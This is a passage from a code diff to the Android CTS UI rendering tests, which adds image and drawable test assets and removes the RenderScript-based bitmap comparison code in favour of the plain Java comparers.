+++ b/tests/tests/uirendering/assets/green-p3.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/linear-rgba16f.png b/tests/tests/uirendering/assets/linear-rgba16f.png
new file mode 100644
index 0000000..bad6a65
--- /dev/null
+++ b/tests/tests/uirendering/assets/linear-rgba16f.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/orange-prophotorgb.png b/tests/tests/uirendering/assets/orange-prophotorgb.png
new file mode 100644
index 0000000..f0e7938
--- /dev/null
+++ b/tests/tests/uirendering/assets/orange-prophotorgb.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/prophoto-rgba16f.png b/tests/tests/uirendering/assets/prophoto-rgba16f.png
new file mode 100644
index 0000000..5f855f2
--- /dev/null
+++ b/tests/tests/uirendering/assets/prophoto-rgba16f.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/red-adobergb.png b/tests/tests/uirendering/assets/red-adobergb.png
new file mode 100644
index 0000000..3178821
--- /dev/null
+++ b/tests/tests/uirendering/assets/red-adobergb.png
Binary files differ
diff --git a/tests/tests/uirendering/res/drawable-nodpi/alpha_mask.png b/tests/tests/uirendering/res/drawable-nodpi/alpha_mask.png
new file mode 100644
index 0000000..1d6177f
--- /dev/null
+++ b/tests/tests/uirendering/res/drawable-nodpi/alpha_mask.png
Binary files differ
diff --git a/tests/tests/uirendering/res/drawable-nodpi/edge_effect_color.png b/tests/tests/uirendering/res/drawable-nodpi/edge_effect_color.png
new file mode 100644
index 0000000..7ca4067
--- /dev/null
+++ b/tests/tests/uirendering/res/drawable-nodpi/edge_effect_color.png
Binary files differ
diff --git a/tests/tests/uirendering/res/drawable-nodpi/edge_effect_displacement_0.png b/tests/tests/uirendering/res/drawable-nodpi/edge_effect_displacement_0.png
new file mode 100644
index 0000000..e315dfd
--- /dev/null
+++ b/tests/tests/uirendering/res/drawable-nodpi/edge_effect_displacement_0.png
Binary files differ
diff --git a/tests/tests/uirendering/res/drawable-nodpi/edge_effect_displacement_1.png b/tests/tests/uirendering/res/drawable-nodpi/edge_effect_displacement_1.png
new file mode 100644
index 0000000..5e719b2
--- /dev/null
+++ b/tests/tests/uirendering/res/drawable-nodpi/edge_effect_displacement_1.png
Binary files differ
diff --git a/tests/tests/uirendering/res/drawable-nodpi/edge_effect_green.png b/tests/tests/uirendering/res/drawable-nodpi/edge_effect_green.png
new file mode 100644
index 0000000..321250b
--- /dev/null
+++ b/tests/tests/uirendering/res/drawable-nodpi/edge_effect_green.png
Binary files differ
diff --git a/tests/tests/uirendering/res/drawable-nodpi/edge_effect_red.png b/tests/tests/uirendering/res/drawable-nodpi/edge_effect_red.png
new file mode 100644
index 0000000..6429808
--- /dev/null
+++ b/tests/tests/uirendering/res/drawable-nodpi/edge_effect_red.png
Binary files differ
diff --git a/tests/tests/uirendering/res/drawable-nodpi/edge_effect_size.png b/tests/tests/uirendering/res/drawable-nodpi/edge_effect_size.png
new file mode 100644
index 0000000..d2af211
--- /dev/null
+++ b/tests/tests/uirendering/res/drawable-nodpi/edge_effect_size.png
Binary files differ
diff --git a/tests/tests/uirendering/res/drawable-nodpi/golden_blue_circle.png b/tests/tests/uirendering/res/drawable-nodpi/golden_blue_circle.png
new file mode 100644
index 0000000..f587fb7
--- /dev/null
+++ b/tests/tests/uirendering/res/drawable-nodpi/golden_blue_circle.png
Binary files differ
diff --git a/tests/tests/uirendering/res/drawable-nodpi/golden_dashed_oval.png b/tests/tests/uirendering/res/drawable-nodpi/golden_dashed_oval.png
new file mode 100644
index 0000000..c95568a
--- /dev/null
+++ b/tests/tests/uirendering/res/drawable-nodpi/golden_dashed_oval.png
Binary files differ
diff --git a/tests/tests/uirendering/res/drawable-nodpi/golden_hardwaretest_create_scaled.png b/tests/tests/uirendering/res/drawable-nodpi/golden_hardwaretest_create_scaled.png
new file mode 100644
index 0000000..b3acd59
--- /dev/null
+++ b/tests/tests/uirendering/res/drawable-nodpi/golden_hardwaretest_create_scaled.png
Binary files differ
diff --git a/tests/tests/uirendering/res/drawable-nodpi/golden_hardwaretest_create_subset.png b/tests/tests/uirendering/res/drawable-nodpi/golden_hardwaretest_create_subset.png
new file mode 100644
index 0000000..1afc1b4
--- /dev/null
+++ b/tests/tests/uirendering/res/drawable-nodpi/golden_hardwaretest_create_subset.png
Binary files differ
diff --git a/tests/tests/uirendering/res/drawable-nodpi/golden_hardwaretest_create_transformed.png b/tests/tests/uirendering/res/drawable-nodpi/golden_hardwaretest_create_transformed.png
new file mode 100644
index 0000000..50a19e5
--- /dev/null
+++ b/tests/tests/uirendering/res/drawable-nodpi/golden_hardwaretest_create_transformed.png
Binary files differ
diff --git a/tests/tests/uirendering/res/drawable-nodpi/golden_hardwaretest_ninepatch.png b/tests/tests/uirendering/res/drawable-nodpi/golden_hardwaretest_ninepatch.png
new file mode 100644
index 0000000..404f6ae
--- /dev/null
+++ b/tests/tests/uirendering/res/drawable-nodpi/golden_hardwaretest_ninepatch.png
Binary files differ
diff --git a/tests/tests/uirendering/res/drawable-nodpi/golden_headless_robot.png b/tests/tests/uirendering/res/drawable-nodpi/golden_headless_robot.png
new file mode 100644
index 0000000..0bf0272
--- /dev/null
+++ b/tests/tests/uirendering/res/drawable-nodpi/golden_headless_robot.png
Binary files differ
diff --git a/tests/tests/uirendering/res/drawable-nodpi/golden_robot.png b/tests/tests/uirendering/res/drawable-nodpi/golden_robot.png
new file mode 100644
index 0000000..ef3631a
--- /dev/null
+++ b/tests/tests/uirendering/res/drawable-nodpi/golden_robot.png
Binary files differ
diff --git a/tests/tests/uirendering/res/drawable-nodpi/index_8.png b/tests/tests/uirendering/res/drawable-nodpi/index_8.png
new file mode 100644
index 0000000..6d6a94f
--- /dev/null
+++ b/tests/tests/uirendering/res/drawable-nodpi/index_8.png
Binary files differ
diff --git a/tests/tests/uirendering/res/drawable-nodpi/pathclippingtest_torus.png b/tests/tests/uirendering/res/drawable-nodpi/pathclippingtest_torus.png
new file mode 100644
index 0000000..76dcbc5
--- /dev/null
+++ b/tests/tests/uirendering/res/drawable-nodpi/pathclippingtest_torus.png
Binary files differ
diff --git a/tests/tests/uirendering/res/drawable-nodpi/pathtest_path_approximate_circle.png b/tests/tests/uirendering/res/drawable-nodpi/pathtest_path_approximate_circle.png
new file mode 100644
index 0000000..2084f23
--- /dev/null
+++ b/tests/tests/uirendering/res/drawable-nodpi/pathtest_path_approximate_circle.png
Binary files differ
diff --git a/tests/tests/uirendering/res/drawable-nodpi/pathtest_path_approximate_cubics.png b/tests/tests/uirendering/res/drawable-nodpi/pathtest_path_approximate_cubics.png
new file mode 100644
index 0000000..96079c6
--- /dev/null
+++ b/tests/tests/uirendering/res/drawable-nodpi/pathtest_path_approximate_cubics.png
Binary files differ
diff --git a/tests/tests/uirendering/res/drawable-nodpi/pathtest_path_approximate_quads.png b/tests/tests/uirendering/res/drawable-nodpi/pathtest_path_approximate_quads.png
new file mode 100644
index 0000000..5332354
--- /dev/null
+++ b/tests/tests/uirendering/res/drawable-nodpi/pathtest_path_approximate_quads.png
Binary files differ
diff --git a/tests/tests/uirendering/res/drawable-nodpi/pathtest_path_approximate_rect.png b/tests/tests/uirendering/res/drawable-nodpi/pathtest_path_approximate_rect.png
new file mode 100644
index 0000000..0a7bab3
--- /dev/null
+++ b/tests/tests/uirendering/res/drawable-nodpi/pathtest_path_approximate_rect.png
Binary files differ
diff --git a/tests/tests/uirendering/res/drawable-nodpi/robot.png b/tests/tests/uirendering/res/drawable-nodpi/robot.png
new file mode 100644
index 0000000..72a065c
--- /dev/null
+++ b/tests/tests/uirendering/res/drawable-nodpi/robot.png
Binary files differ
diff --git a/tests/tests/uirendering/res/drawable-nodpi/text_on_path.png b/tests/tests/uirendering/res/drawable-nodpi/text_on_path.png
new file mode 100644
index 0000000..d0dee6c
--- /dev/null
+++ b/tests/tests/uirendering/res/drawable-nodpi/text_on_path.png
Binary files differ
diff --git a/tests/tests/uirendering/res/drawable-nodpi/text_path_with_offset.png b/tests/tests/uirendering/res/drawable-nodpi/text_path_with_offset.png
new file mode 100644
index 0000000..533d1ea
--- /dev/null
+++ b/tests/tests/uirendering/res/drawable-nodpi/text_path_with_offset.png
Binary files differ
diff --git a/tests/tests/uirendering/res/drawable/dashed_oval.xml b/tests/tests/uirendering/res/drawable/dashed_oval.xml
new file mode 100644
index 0000000..904b016
--- /dev/null
+++ b/tests/tests/uirendering/res/drawable/dashed_oval.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+       Licensed under the Apache License, Version 2.0 (the "License");
+       you may not use this file except in compliance with the License.
+       You may obtain a copy of the License at
+
+            http://www.apache.org/licenses/LICENSE-2.0
+
+       Unless required by applicable law or agreed to in writing, software
+       distributed under the License is distributed on an "AS IS" BASIS,
+       WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+       See the License for the specific language governing permissions and
+       limitations under the License.
+  -->
+<shape
+    android:shape="oval"
+    xmlns:android="http://schemas.android.com/apk/res/android">
+    <stroke
+        android:width="2px"
+        android:dashGap="6px"
+        android:dashWidth="2px"
+        android:color="@android:color/black"
+        />
+</shape>
diff --git a/tests/tests/uirendering/res/drawable/rectangle.xml b/tests/tests/uirendering/res/drawable/rectangle.xml
new file mode 100644
index 0000000..43c539f
--- /dev/null
+++ b/tests/tests/uirendering/res/drawable/rectangle.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+       Licensed under the Apache License, Version 2.0 (the "License");
+       you may not use this file except in compliance with the License.
+       You may obtain a copy of the License at
+
+            http://www.apache.org/licenses/LICENSE-2.0
+
+       Unless required by applicable law or agreed to in writing, software
+       distributed under the License is distributed on an "AS IS" BASIS,
+       WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+       See the License for the specific language governing permissions and
+       limitations under the License.
+  -->
+<vector xmlns:android="http://schemas.android.com/apk/res/android"
+        android:height="90px"
+        android:width="90px"
+        android:viewportHeight="1"
+        android:viewportWidth="1" >
+
+    <group>
+        <path
+            android:name="box0"
+            android:pathData="m0,0l1,0l0,1l-1,0l0-1z"
+            android:fillColor="#FF0000" />
+    </group>
+</vector>
\ No newline at end of file
diff --git a/tests/tests/uirendering/res/layout/frame_layout.xml b/tests/tests/uirendering/res/layout/frame_layout.xml
index 0eb1f9b..4ceac5d 100644
--- a/tests/tests/uirendering/res/layout/frame_layout.xml
+++ b/tests/tests/uirendering/res/layout/frame_layout.xml
@@ -17,4 +17,3 @@
     android:id="@+id/frame_layout"
     android:layout_width="@dimen/test_width"
     android:layout_height="@dimen/test_height"/>
-
diff --git a/tests/tests/uirendering/res/layout/simple_white_layout.xml b/tests/tests/uirendering/res/layout/simple_white_layout.xml
new file mode 100644
index 0000000..43a10f5
--- /dev/null
+++ b/tests/tests/uirendering/res/layout/simple_white_layout.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  * Copyright (C) 2017 The Android Open Source Project
+  *
+  * Licensed under the Apache License, Version 2.0 (the "License");
+  * you may not use this file except in compliance with the License.
+  * You may obtain a copy of the License at
+  *
+  *      http://www.apache.org/licenses/LICENSE-2.0
+  *
+  * Unless required by applicable law or agreed to in writing, software
+  * distributed under the License is distributed on an "AS IS" BASIS,
+  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  * See the License for the specific language governing permissions and
+  * limitations under the License.
+  -->
+<View xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="@dimen/test_width"
+    android:layout_height="@dimen/test_height"
+    android:background="@android:color/white"/>
diff --git a/tests/tests/uirendering/res/layout/textureview.xml b/tests/tests/uirendering/res/layout/textureview.xml
new file mode 100644
index 0000000..f2fbfd1
--- /dev/null
+++ b/tests/tests/uirendering/res/layout/textureview.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+       Licensed under the Apache License, Version 2.0 (the "License");
+       you may not use this file except in compliance with the License.
+       You may obtain a copy of the License at
+
+            http://www.apache.org/licenses/LICENSE-2.0
+
+       Unless required by applicable law or agreed to in writing, software
+       distributed under the License is distributed on an "AS IS" BASIS,
+       WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+       See the License for the specific language governing permissions and
+       limitations under the License.
+  -->
+<TextureView
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="@dimen/test_width"
+    android:layout_height="@dimen/test_height" />
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/bitmapcomparers/BaseRenderScriptComparer.java b/tests/tests/uirendering/src/android/uirendering/cts/bitmapcomparers/BaseRenderScriptComparer.java
deleted file mode 100644
index 3f9a9f6..0000000
--- a/tests/tests/uirendering/src/android/uirendering/cts/bitmapcomparers/BaseRenderScriptComparer.java
+++ /dev/null
@@ -1,78 +0,0 @@
-package android.uirendering.cts.bitmapcomparers;
-
-import android.content.res.Resources;
-import android.renderscript.Allocation;
-import android.renderscript.Element;
-import android.renderscript.RenderScript;
-
-/**
- * Base class for calculators that want to implement renderscript
- */
-public abstract class BaseRenderScriptComparer extends BitmapComparer {
-    private Allocation mRowInputs;
-    private Allocation mRowOutputs;
-    private int mHeight;
-
-    public abstract boolean verifySame(int[] ideal, int[] given, int offset, int stride, int width,
-            int height);
-
-    /**
-     * The subclasses must implement this method, which will say that the rows follow their specific
-     * algorithm
-     */
-    public abstract boolean verifySameRowsRS(Resources resources, Allocation ideal,
-            Allocation given, int offset, int stride, int width, int height,
-            RenderScript renderScript, Allocation inputAllocation, Allocation outputAllocation);
-
-    public boolean verifySameRS(Resources resources, Allocation ideal,
-            Allocation given, int offset, int stride, int width, int height,
-            RenderScript renderScript) {
-        if (mRowInputs == null) {
-            mHeight = height;
-            mRowInputs = createInputRowIndexAllocation(renderScript);
-            mRowOutputs = createOutputRowAllocation(renderScript);
-        }
-        return verifySameRowsRS(resources, ideal, given, offset, stride, width, height,
-                renderScript, mRowInputs, mRowOutputs);
-    }
-
-    public boolean supportsRenderScript() {
-        return true;
-    }
-
-    /**
-     * Sums the values in the output Allocation
-     */
-    public float sum1DFloatAllocation(Allocation rowOutputs) {
-        //Get the values returned from the function
-        float[] returnValue = new float[mHeight];
-        rowOutputs.copyTo(returnValue);
-        float sum = 0;
-        //If any row had any different pixels, then it fails
-        for (int i = 0; i < mHeight; i++) {
-            sum += returnValue[i];
-        }
-        return sum;
-    }
-
-    /**
-     * Creates an allocation where the values in it are the indices of each row
-     */
-    private Allocation createInputRowIndexAllocation(RenderScript renderScript) {
-        //Create an array with the index of each row
-        int[] inputIndices = new int[mHeight];
-        for (int i = 0; i < mHeight; i++) {
-            inputIndices[i] = i;
-        }
-        //Create the allocation from that given array
-        Allocation inputAllocation = Allocation.createSized(renderScript, Element.I32(renderScript),
-                inputIndices.length, Allocation.USAGE_SCRIPT);
-        inputAllocation.copyFrom(inputIndices);
-        return inputAllocation;
-    }
-
-    private Allocation createOutputRowAllocation(RenderScript renderScript) {
-        return Allocation.createSized(renderScript, Element.F32(renderScript), mHeight,
-                Allocation.USAGE_SCRIPT);
-    }
-}
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/bitmapcomparers/BitmapComparer.java b/tests/tests/uirendering/src/android/uirendering/cts/bitmapcomparers/BitmapComparer.java
index 8d74aa5..c995e43 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/bitmapcomparers/BitmapComparer.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/bitmapcomparers/BitmapComparer.java
@@ -15,10 +15,6 @@
  */
 package android.uirendering.cts.bitmapcomparers;
 
-import android.content.res.Resources;
-import android.renderscript.Allocation;
-import android.renderscript.RenderScript;
-
 /**
  * This abstract class can be used by the tester to implement their own comparison methods
  */
@@ -35,28 +31,9 @@
             int height);
 
     /**
-     * Compare the two bitmaps using RenderScript, if the comparer
-     * {@link supportsRenderScript() supports it}. If it does not, this method will throw an
-     * UnsupportedOperationException
-     */
-    public boolean verifySameRS(Resources resources, Allocation ideal,
-            Allocation given, int offset, int stride, int width, int height,
-            RenderScript renderScript) {
-        throw new UnsupportedOperationException("Renderscript not supported for this calculator");
-    }
-
-    /**
      * This calculates the position in an array that would represent a bitmap given the parameters.
      */
     protected static int indexFromXAndY(int x, int y, int stride, int offset) {
         return x + (y * stride) + offset;
     }
-
-    /**
-     * Returns whether the verifySameRS() is implemented, and may be used on a RenderScript enabled
-     * system
-     */
-    public boolean supportsRenderScript() {
-        return false;
-    }
 }
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/bitmapcomparers/ExactComparer.java b/tests/tests/uirendering/src/android/uirendering/cts/bitmapcomparers/ExactComparer.java
index 562b730..99d1f71 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/bitmapcomparers/ExactComparer.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/bitmapcomparers/ExactComparer.java
@@ -15,20 +15,13 @@
  */
 package android.uirendering.cts.bitmapcomparers;
 
-import android.uirendering.cts.R;
-import android.uirendering.cts.ScriptC_ExactComparer;
-
-import android.content.res.Resources;
-import android.renderscript.Allocation;
-import android.renderscript.RenderScript;
 import android.util.Log;
 
 /**
  * This class does an exact comparison of the pixels in a bitmap.
  */
-public class ExactComparer extends BaseRenderScriptComparer {
+public class ExactComparer extends BitmapComparer {
     private static final String TAG = "ExactComparer";
-    private ScriptC_ExactComparer mScript;
 
     /**
      * This method does an exact 1 to 1 comparison of the two bitmaps
@@ -54,27 +47,4 @@
 
         return (count == 0);
     }
-
-    @Override
-    public boolean verifySameRowsRS(Resources resources, Allocation ideal,
-            Allocation given, int offset, int stride, int width, int height,
-            RenderScript renderScript, Allocation inputAllocation, Allocation outputAllocation) {
-        if (mScript == null) {
-            mScript = new ScriptC_ExactComparer(renderScript);
-        }
-        mScript.set_WIDTH(width);
-        mScript.set_OFFSET(offset);
-
-        //Set the bitmap allocations
-        mScript.set_ideal(ideal);
-        mScript.set_given(given);
-
-        //Call the renderscript function on each row
-        mScript.forEach_exactCompare(inputAllocation, outputAllocation);
-
-        float val = sum1DFloatAllocation(outputAllocation);
-        Log.d(TAG, "Number of different pixels RS : " + val);
-
-        return val == 0;
-    }
 }
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/bitmapcomparers/ExactComparer.rs b/tests/tests/uirendering/src/android/uirendering/cts/bitmapcomparers/ExactComparer.rs
deleted file mode 100644
index 6425c17..0000000
--- a/tests/tests/uirendering/src/android/uirendering/cts/bitmapcomparers/ExactComparer.rs
+++ /dev/null
@@ -1,25 +0,0 @@
-#pragma version(1)
-#pragma rs java_package_name(android.uirendering.cts)
-
-int WIDTH;
-int OFFSET;
-
-rs_allocation ideal;
-rs_allocation given;
-
-// This method does a simple comparison of all the values in the given and ideal allocations.
-// If any of the pixels are off, then the test will fail.
-void exactCompare(const int32_t *v_in, float *v_out){
-    int y = v_in[0];
-    v_out[0] = 0;
-
-    for(int i = 0 ; i < WIDTH ; i ++){
-        uchar4 idealPixel = rsGetElementAt_uchar4(ideal, i + OFFSET, y);
-        uchar4 givenPixel = rsGetElementAt_uchar4(given, i + OFFSET, y);
-        uchar4 diff = idealPixel - givenPixel;
-        int totalDiff = diff.x + diff.y + diff.z;
-        if(totalDiff != 0){
-            v_out[0] ++;
-        }
-    }
-}
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/bitmapcomparers/MSSIMComparer.java b/tests/tests/uirendering/src/android/uirendering/cts/bitmapcomparers/MSSIMComparer.java
index 4a25695..e65ff2d 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/bitmapcomparers/MSSIMComparer.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/bitmapcomparers/MSSIMComparer.java
@@ -15,12 +15,7 @@
  */
 package android.uirendering.cts.bitmapcomparers;
 
-import android.uirendering.cts.ScriptC_MSSIMComparer;
-
-import android.content.res.Resources;
 import android.graphics.Color;
-import android.renderscript.Allocation;
-import android.renderscript.RenderScript;
 import android.util.Log;
 
 /**
@@ -29,7 +24,7 @@
  *
  * https://ece.uwaterloo.ca/~z70wang/publications/ssim.pdf
  */
-public class MSSIMComparer extends BaseRenderScriptComparer {
+public class MSSIMComparer extends BitmapComparer {
     // These values were taken from the publication
     public static final String TAG_NAME = "MSSIM";
     public static final double CONSTANT_L = 254;
@@ -40,7 +35,6 @@
     public static final int WINDOW_SIZE = 10;
 
     private double mThreshold;
-    private ScriptC_MSSIMComparer mScript;
 
     public MSSIMComparer(double threshold) {
         mThreshold = threshold;
@@ -82,31 +76,6 @@
         return (SSIMTotal >= mThreshold);
     }
 
-    @Override
-    public boolean verifySameRowsRS(Resources resources, Allocation ideal,
-            Allocation given, int offset, int stride, int width, int height,
-            RenderScript renderScript, Allocation inputAllocation, Allocation outputAllocation) {
-        if (mScript == null) {
-            mScript = new ScriptC_MSSIMComparer(renderScript);
-        }
-        mScript.set_WIDTH(width);
-        mScript.set_HEIGHT(height);
-
-        //Set the bitmap allocations
-        mScript.set_ideal(ideal);
-        mScript.set_given(given);
-
-        //Call the renderscript function on each row
-        mScript.forEach_calcSSIM(inputAllocation, outputAllocation);
-
-        float MSSIM = sum1DFloatAllocation(outputAllocation);
-        MSSIM /= height;
-
-        Log.d(TAG_NAME, "MSSIM RS : " + MSSIM);
-
-        return (MSSIM >= mThreshold);
-    }
-
     private boolean isWindowWhite(int[] colors, int start, int stride) {
         for (int y = 0 ; y < WINDOW_SIZE ; y++) {
             for (int x = 0 ; x < WINDOW_SIZE ; x++) {
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/bitmapcomparers/MSSIMComparer.rs b/tests/tests/uirendering/src/android/uirendering/cts/bitmapcomparers/MSSIMComparer.rs
deleted file mode 100644
index b0e86b8..0000000
--- a/tests/tests/uirendering/src/android/uirendering/cts/bitmapcomparers/MSSIMComparer.rs
+++ /dev/null
@@ -1,66 +0,0 @@
-#pragma version(1)
-#pragma rs java_package_name(android.uirendering.cts)
-
-int WIDTH;
-int HEIGHT;
-
-rs_allocation ideal;
-rs_allocation given;
-
-static float getPixelWeight(uchar4 pixel) {
-    const float MAX_VALUE_COLOR = 255;
-    const float RED_WEIGHT = 0.21f / MAX_VALUE_COLOR;
-    const float GREEN_WEIGHT = 0.72f / MAX_VALUE_COLOR;
-    const float BLUE_WEIGHT = 0.07f / MAX_VALUE_COLOR;
-    return (pixel.r * RED_WEIGHT) + (pixel.g * GREEN_WEIGHT) + (pixel.b * BLUE_WEIGHT);
-}
-
-// Calculates SSIM of a row of pixels
-void calcSSIM(const int32_t *v_in, float *v_out) {
-    // TODO Test values for these constants
-    const float C1 = 0.0000064516;
-    const float C2 = 0.0000580644;
-
-    int y = v_in[0];
-    v_out[0] = 0;
-
-    float meanIdeal = 0;
-    float meanGiven = 0;
-
-    for (int i = 0 ; i < WIDTH ; i++) {
-        uchar4 idealPixel = rsGetElementAt_uchar4(ideal, i, y);
-        uchar4 givenPixel = rsGetElementAt_uchar4(given, i, y);
-        meanIdeal += getPixelWeight(idealPixel);
-        meanGiven += getPixelWeight(givenPixel);
-    }
-
-    meanIdeal /= WIDTH;
-    meanGiven /= WIDTH;
-
-    float varIdeal = 0;
-    float varGiven = 0;
-    float varBoth = 0;
-
-    for (int i = 0 ; i < WIDTH ; i++) {
-        uchar4 idealPixel = rsGetElementAt_uchar4(ideal, i, y);
-        uchar4 givenPixel = rsGetElementAt_uchar4(given, i, y);
-        float idealWeight = getPixelWeight(idealPixel);
-        float givenWeight = getPixelWeight(givenPixel);
-        idealWeight -= meanIdeal;
-        givenWeight -= meanGiven;
-        varIdeal +=  idealWeight * idealWeight;
-        varGiven += givenWeight * givenWeight;
-        varBoth += idealWeight * givenWeight;
-    }
-
-    varIdeal /= WIDTH - 1;
-    varGiven /= WIDTH - 1;
-    varBoth /= WIDTH - 1;
-
-    float SSIM = ((2 * meanIdeal * meanGiven) + C1) * ((2 * varBoth) + C2);
-    float denom = ((meanIdeal * meanIdeal) + (meanGiven * meanGiven) + C1)
-                    * (varIdeal + varGiven + C2);
-    SSIM /= denom;
-
-    v_out[0] = SSIM;
-}
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/bitmapcomparers/MeanSquaredComparer.java b/tests/tests/uirendering/src/android/uirendering/cts/bitmapcomparers/MeanSquaredComparer.java
deleted file mode 100644
index 5cc896b..0000000
--- a/tests/tests/uirendering/src/android/uirendering/cts/bitmapcomparers/MeanSquaredComparer.java
+++ /dev/null
@@ -1,102 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.uirendering.cts.bitmapcomparers;
-
-import android.uirendering.cts.R;
-import android.uirendering.cts.ScriptC_MeanSquaredComparer;
-
-import android.content.res.Resources;
-import android.graphics.Color;
-import android.renderscript.Allocation;
-import android.renderscript.RenderScript;
-import android.util.Log;
-
-/**
- * Finds the MSE using two images.
- */
-public class MeanSquaredComparer extends BaseRenderScriptComparer {
-    private static final String TAG = "MeanSquared";
-    private ScriptC_MeanSquaredComparer mScript;
-    private float mErrorPerPixel;
-
-    /**
-     * @param errorPerPixel threshold for which the test will pass/fail. This is the mean-squared
-     *                      error averaged across all of those before comparing.
-     */
-    public MeanSquaredComparer(float errorPerPixel) {
-        mErrorPerPixel = errorPerPixel;
-    }
-
-    @Override
-    public boolean verifySame(int[] ideal, int[] given, int offset, int stride, int width,
-            int height) {
-        float totalError = getMSE(ideal, given, offset, stride, width, height);
-        Log.d(TAG, "Error : " + totalError);
-        return (totalError < (mErrorPerPixel));
-    }
-
-    @Override
-    public boolean verifySameRowsRS(Resources resources, Allocation ideal,
-            Allocation given, int offset, int stride, int width, int height,
-            RenderScript renderScript, Allocation inputAllocation, Allocation outputAllocation) {
-        if (mScript == null) {
-            mScript = new ScriptC_MeanSquaredComparer(renderScript);
-        }
-        mScript.set_WIDTH(width);
-
-        //Set the bitmap allocations
-        mScript.set_ideal(ideal);
-        mScript.set_given(given);
-
-        //Call the renderscript function on each row
-        mScript.forEach_calcMSE(inputAllocation, outputAllocation);
-
-        float error = sum1DFloatAllocation(outputAllocation);
-        error /= (height * width);
-
-        Log.d(TAG, "Error RS : " + error);
-
-        return (error < mErrorPerPixel);
-    }
-
-    /**
-     * Gets the Mean Squared Error between two data sets.
-     */
-    public static float getMSE(int[] ideal, int[] given, int offset, int stride, int width,
-            int height) {
-        float totalError = 0;
-
-        for (int y = 0 ; y < height ; y++) {
-            for (int x = 0 ; x < width ; x++) {
-                int index = indexFromXAndY(x, y, stride, offset);
-                float idealSum = getColorSum(ideal[index]);
-                float givenSum = getColorSum(given[index]);
-                float difference = idealSum - givenSum;
-                totalError += (difference * difference);
-            }
-        }
-
-        totalError /= (width * height);
-        return totalError;
-    }
-
-    private static float getColorSum(int color) {
-        float red = Color.red(color) / 255.0f;
-        float green = Color.green(color) / 255.0f;
-        float blue = Color.blue(color) / 255.0f;
-        return (red + green + blue);
-    }
-}
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/bitmapcomparers/MeanSquaredComparer.rs b/tests/tests/uirendering/src/android/uirendering/cts/bitmapcomparers/MeanSquaredComparer.rs
deleted file mode 100644
index 3b37609..0000000
--- a/tests/tests/uirendering/src/android/uirendering/cts/bitmapcomparers/MeanSquaredComparer.rs
+++ /dev/null
@@ -1,21 +0,0 @@
-#pragma version(1)
-#pragma rs java_package_name(android.uirendering.cts)
-
-int REGION_SIZE;
-int WIDTH;
-
-rs_allocation ideal;
-rs_allocation given;
-
-// This method does a threshold comparison of the values
-void calcMSE(const int32_t *v_in, float *v_out){
-    int y = v_in[0];
-    v_out[0] = 0.0f;
-    for (int x = 0 ; x < WIDTH ; x++) {
-        float4 idealFloats = rsUnpackColor8888(rsGetElementAt_uchar4(ideal, x, y));
-        float4 givenFloats = rsUnpackColor8888(rsGetElementAt_uchar4(given, x, y));
-        float difference = (idealFloats.r - givenFloats.r) + (idealFloats.g - givenFloats.g) +
-              (idealFloats.b - givenFloats.b);
-        v_out[0] += (difference * difference);
-    }
-}
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/bitmapcomparers/NearPixelComparer.java b/tests/tests/uirendering/src/android/uirendering/cts/bitmapcomparers/NearPixelComparer.java
deleted file mode 100644
index bfb2c77..0000000
--- a/tests/tests/uirendering/src/android/uirendering/cts/bitmapcomparers/NearPixelComparer.java
+++ /dev/null
@@ -1,66 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.uirendering.cts.bitmapcomparers;
-
-import android.graphics.Color;
-import android.util.Log;
-
-/**
- * Checks to see that a pixel at a given location is the same as the corresponding pixel. If the
- * pixel is different, it checks the pixels around it to see if it is the same.
- */
-public class NearPixelComparer extends BitmapComparer {
-    private static final String TAG = "NearPixelComparer";
-    private static final int THRESHOLD = 10;
